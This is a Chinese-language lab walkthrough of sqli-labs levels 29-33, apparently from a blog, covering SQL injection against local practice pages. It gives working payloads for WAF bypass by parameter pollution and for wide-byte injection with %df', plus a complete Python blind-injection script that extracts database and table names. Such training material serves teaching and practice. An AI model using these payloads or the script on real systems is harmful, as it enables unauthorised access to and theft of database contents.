Sqli-labs靶场详细攻略Less 29-33

2023-11-19

Less 29-33

Less 29 GET -Error based- IMPIDENCE MISMATCH- Having a WAF infront of web application

这一关在web应用前有一个waf,在关卡列表界面直接点开是没有的,要在地址栏输入

http://127.0.0.1/Less-29/login.php

才是有waf保护的界面

在这里插入图片描述

其实这里并不是真正的硬件waf,只是有两个函数模拟了waf的功能和收到参数的反应。sqlilabs靶场也提供了能够部署真正硬件waf的代码,不过随着时代的发展,waf也在变化,专门配置这样一个waf也没太有必要,直接使用这个模拟题目的就好了。

这一关在正常配置waf的情况下,的结构图如下所示

在这里插入图片描述

客户端在访问服务器端时,需要先经过一个tomcat服务器,这个tomcat服务器中部署的过滤代码充当了waf的功能。输入的参数经过tomcat服务器过滤后,再被传入到真正的服务端apache服务器上处理,然后逐层返回到客户端。

这里传入的参数只有一个,名为id,当我们强行传入两个名都为id的参数时,waf获取的是第一个参数,而忽略第二个参数,则对第二个参数的内容不做任何检查和过滤,这样第二个参数就可以传入到apache服务器端,进行解析。

构造如下代码

?id=0&id=-1' union select 1,2,database() --+

传入两个参数用&符号隔开,第一个参数用于绕过waf,第二个参数则是传入apache服务器进行运行的注入代码。

在这里插入图片描述

注入成功。

Less 30 GET - BLIND - IMPIDENCE MISMATCH- Having a WAF infront of web application

这一关的绕过waf的思路与上一关相同,依然是传入两个名为id的参数,第一个参数用于让waf检测,第二个参数用于在服务端注入。这一关的使用"进行闭合,除此之外,在服务端没有任何过滤手段,这里使用前面的盲注脚本,基本没什么需要修改的地方,只是加入一个名为id的传入参数即可。

from lxml import html
import requests

def getCheck(url,xpath,payload):
    r=requests.get(url+payload)
    tree=html.fromstring(r.text)
    check=tree.xpath(xpath)
    if(len(check)>0):
        return 1
    else:
        return 0

def database_length(url,xpath):
    length=0
    for i in range(1,30):
        payload=" and length((select database()))<%s --+"%i
        check=getCheck(url,xpath,payload)
        if(check):
            break
        else:
            length+=1
    print('Database length:'+str(length))
    return length

def database_name(url,xpath,dbl):
    dbname=''
    for i in range(1,dbl+1):
        for j in range(97,123):
            payload=" and ascii(substr((select database()),%s,%s))=%s--+"%(i,i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                # print(chr(j))
                dbname+=chr(j)
    print('database name:'+str(dbname))
    return dbname

def database_table(url,xpath,dbname):
    tablenum=0
    for i in range(0,100):
        payload=" and length((select group_concat(table_name) from information_schema.tables where table_schema='%s'))=%s--+"%(dbname,i)
        check=getCheck(url,xpath,payload)
        if(check):
            tablenum=i
            break
    dbtables=''
    for i in range(1,tablenum+1):
        for j in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            payload=" and substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%s,1)='%s'--+"%(dbname,i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                dbtables+=j
                break
    return dbtables

if __name__=='__main__':
    url="http://127.0.0.1/Less-30/?id=1&id=1\""
    xpath="/html/body/div/font[2]/font/text()"
    dbl=database_length(url,xpath)
    dbname=database_name(url,xpath,dbl)
    dbtables=database_table(url,xpath,dbname)
    print("tables:"+str(dbtables))

注入成功。

在这里插入图片描述

Less 31 GET - BLIND - IMPIDENCE MISMATCH- Having a WAF in front of web application

这一关闭合方式变为了"),除此之外与上一关没有任何区别。

Less 32 GET - Bypass custom filter adding slashes to dangerous chars

这一关使用宽字节注入。我们在id处传入1'试图进行闭合,发现页面上显示被编码成了1/'。我们在'前输入%df,页面出现报错信息。

在这里插入图片描述

宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码是%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误。

这样的话,就相当与使用%df'进行了闭合,其他方面没啥区别,直接构造使用union select查询的语句。

-1%df' union select 1,2,database() --+

查询成功。

在这里插入图片描述

Less 33 GET - Bypass AddSlashes()

这一关注入的方式与上一关没区别,只是后台在给'前加/的实现方式有所区别,但是攻击的过程是一样的,这里不再赘述。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Sqli-labs靶场详细攻略Less 29-33 的相关文章

随机推荐

  • Java设计模式:装饰者模式(Decorator Pattern)

    装饰者模式 涉及的重要设计原则 类应该对扩展开放 对修改关闭 装饰者模式定义 装饰者模式动态地将责任附加到对象上 若要扩展功能 装饰者提供了比继承更有弹性的替代方案 UML类图 装饰者模式事例 咖啡店 咖啡种类 1 深焙咖啡 DarkRoa
  • Python中如何使用boolean类型的数据

    在写代码的过程中 遇到了定义boolean类型变量的问题 之前一直试图用java或者c定义布尔变量的方法 一直不奏效 经过一旦学习之后才明白 和java竟然只是大小写的问题 在python中将java中的true携程True 将false携
  • Educational Codeforces Round 149 (Rated for Div. 2)A~D

    Grasshopper on a Line 题意 给出n和k 求从0到n最少走几步 以及步长 要求步长不能整除k 思路 从n往下找到 k不等于0的数 输出该数和n 该数即可 如果n k 0 那就只需要一步 代码 gt File Name a
  • 探索Java8——默认方法

    文章目录 什么是默认方法 不断演进的API 初始版本API 第二版API 概述默认方法 什么是默认方法 在传统的Java程序中 实现接口的方式是通过Implements把接口中的每一个方法提供一个实现 或者从父类继承他的实现 然而 在实际开
  • redis搜索 - KEYS命令

    文章目录 KEYS命令 使用 使用场景 KEYS命令 KEYS命令用于搜索匹配某个模式的所有key 例如常见的keys 命令 会返回所有的键 Time complexity O N 使用 KEYS命令支持以下正则匹配模式 h llo mat
  • [STM32]详解单片机GPIO输入模式配置-上拉下拉与浮空

    前面说到单片机的GPIO主要输出模式主要有推挽模式和开漏模式 除了连接到片内外设的模拟输入模式和复用输入功能以外 这里再说一下通用输入模式配置 STM32单片机的通用输入模式主要有输入浮空 输入上拉与输入下拉 当配置成上拉模式 即GPIO
  • python rsa加密之后byte类型存储到数据库中_python3 rsa加密

    遇到了跟你一样的问题 此js封装的源码 如下 希望看到的大神解决了的话帮我一下 RSA a suite of routines for performing RSA public key computations in JavaScript
  • c语言字符串相关函数的分析

    c语言中 常见的字符串相关函数主要分为两类 1 与字符串长度无关的函数 如strcpy strcat strcmp 2 与字符串长度有关的函数 如strlen strncpy strncat strncmp strlen 用于求字符串的长度
  • 1130:找第一个只出现一次的字符(C C++)

    题目描述 给定一个只包含小写字母的字符串 请你找到第一个仅出现一次的字符 如果没有 输出no 输入 一个字符串 长度小于100000 输出 输出第一个仅出现一次的字符 若没有则输出no 输入样例 abcabd 输出样例 c 代码 inclu
  • 【Unity】Delegate, Event, UnityEvent, Action, UnityAction, Func 傻傻分不清

    Unity Delegate Event UnityEvent Action UnityAction Func 傻傻分不清 Delegate 委托 函数指针 一个简单的例子 一对一依赖 一个简单的例子 一对多依赖 所以话说 委托有啥用呢 事
  • LDAP简介及其使用

    LDAP简介 LDAP Lightweight Directory Access Protocol 的意思是 轻量级目录访问协议 是一个用于访问 目录服务器 Directory Servers 的协议 这里所谓的 目录 是指一种按照树状结构
  • java button中加入背景图片不显示

    emmmm 写一下关于在button中添加图片作为背景的经历 就 先记录下错误的地方 JLabel stat new JLabel new ImageIcon img left png 这里再left png的路径的开头少了个点 就一直都不
  • Centos7安装Nessus教程

    本文为学习笔记 仅限学习交流 不得利用 从事危害国家或人民安全 荣誉和利益等活动 请参阅 中华人民共和国网络安全法 Nessus安装包 链接 https pan baidu com s 1FJMu8WMZPSjoqQpes GCng 提取码
  • C++中#ifndef, #define, #endif的作用和使用的注意事项

    在C 语言编程中 我们经常会接触到头文件 比如说声明类 或者声明命名空间等 而每次在编写xxx h的头文件时 编程书上都会让我们在代码的前后加上如下的三句代码 ifndef XXX H define XXX H endif 其中 代表中间具
  • DDP入门

    DDP 即动态动态规划 可以用于解决一类带修改的DP问题 我们从一个比较简单的东西入手 最大子段和 带修改的最大子段和其实是常规问题了 经典的解决方法是用线段树维护从左 右开始的最大子段和和区间最大子段和 然后进行合并 现在我们换一种方法来
  • 软件测试人员必备的60个测试工具清单,果断收藏了!

    据统计 中国软件外包市场的潜力和机会已远远超过软件王国印度 不过由于软件人才的严重不足致使我国软件发展遭遇 瓶颈 国家为了大力培养软件人才 不断采取积极有效的措施 我国对软件测试人才的需求数量还将持续增加 因此软件测试工程师也就成为了IT职
  • golang ---JSON-ITERATOR 使用

    jsoniter json iterator 是一款快且灵活的 JSON 解析器 Jsoniter 是最快的 JSON 解析器 它最多能比普通的解析器快 10 倍之多 独特的 iterator api 能够直接遍历 JSON 极致性能 0
  • 《图像分割Unet网络分析及其Pytorch版本代码实现》

    最近两个月在做学习图像分割方面的学习 踩了无数的坑 也学到了很多的东西 想了想还是趁着国庆节有时间来做个总结 以后有这方面需要可以来看看 神经网络被大规模的应用到计算机视觉中的分类任务中 说到神经网络的分类任务这里不得不提到CNN 卷积神经
  • 低代码,虽然有点毒瘤,但管用就好

    最近看到不少低门槛开发软件应用的新闻 30 分钟搭一款核酸检测登记应用 2 小时紧急上线抗疫求助应用 00 后低代码开发者毕业月薪过万 等等 近期 广西防城港市出现疫情 全市展开一轮大规模核酸检测 柳钢工人彭期文在钉钉上仅用 30 分钟就通
  • Sqli-labs靶场详细攻略Less 29-33

    Less 29 33 Less 29 GET Error based IMPIDENCE MISMATCH Having a WAF infront of web application 这一关在web应用前有一个waf 在关卡列表界面直接